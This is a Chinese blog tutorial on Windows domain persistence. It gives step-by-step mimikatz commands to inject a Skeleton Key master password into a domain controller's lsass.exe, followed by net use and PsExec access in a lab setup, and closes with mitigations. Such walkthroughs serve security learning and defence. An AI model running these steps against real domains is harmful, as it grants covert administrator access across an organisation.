域渗透｜域权限维持之Skeleton Key

作者： r0n1n
免责声明：本文仅供学习研究，严禁从事非法活动，任何后果由使用者本人负责。

0x00 前言

Skeleton Key（万能密码）方法可以对域内管理员权限进行持久化操作，使用mimikatz完成注入Skeleon Key的操作，将 Skeleton Key注入域控制器的lsass.exe进程。

0x01 测试环境

1、域名：god.com
2、域控制器：
主机名：WIN-2008dc
IP地址：10.10.10.30
用户名：administrator
密码：123.com
3、域成员服务器：
主机名：WIN-2008-1
IP地址：10.10.10.10
用户名：hacker
密码：Hack.com

0x02 本地测试

1、以当前登录用户身份（域成员）列出域控制器 C 盘共享目录中的文件：

dir \\10.10.10.30\c$

2、使用域管理员账号和密码进行连接：

net use \\10.10.10.30\ipc$ "123.com" /user:god\administrator

3、在域内服务器中以域管理员权限打开mimikatz，将 Skeleton Key 注入域控制器的 lsass.exe进程：

# 提升权限
privilege::debug

#注入进程 skeleton key
misc::skeleton

成功后会在域内的所有账号中添加一个 Skeleton Key，其密码默认为：mimikatz，接下来可以使用域内任意用户的配合 Skeleton Key 万能密码（mimikatz）进行域内身份授权验证了。

4、使用域管理员账号和 Skeleton Key 与域控服务器建立IPC通道：

net use \\WIN-2008dc\ipc$ "mimikatz" /user:god\administrator

dir \\WIN-2008dc\c$

注意：需要与域控（DC）的主机名（hostname——域控的ip无法建立）建立IPC通道，然后再访问。

PsExec.exe \\WIN-2008dc cmd.exe

0x03 总结

1、域管理员用户要设置强密码，确保恶意代码不会在域控制器中执行。
2、在所有域用户中启用双因子认证，例如智能卡认证。
3、启动应用程序白名单（例如 AppLocker），以限制 mimikatz 在域控制器中的运行。
注意：因为 Skeleton Key 是被注入到 lsass.exe 进程的，所以它只存在于内存中，如果域控服务器重启，万能密码将失效。

0x04 了解更多安全知识

欢迎关注我们的安全公众号，学习更多安全知识！！！
欢迎关注我们的安全公众号，学习更多安全知识！！！
欢迎关注我们的安全公众号，学习更多安全知识！！！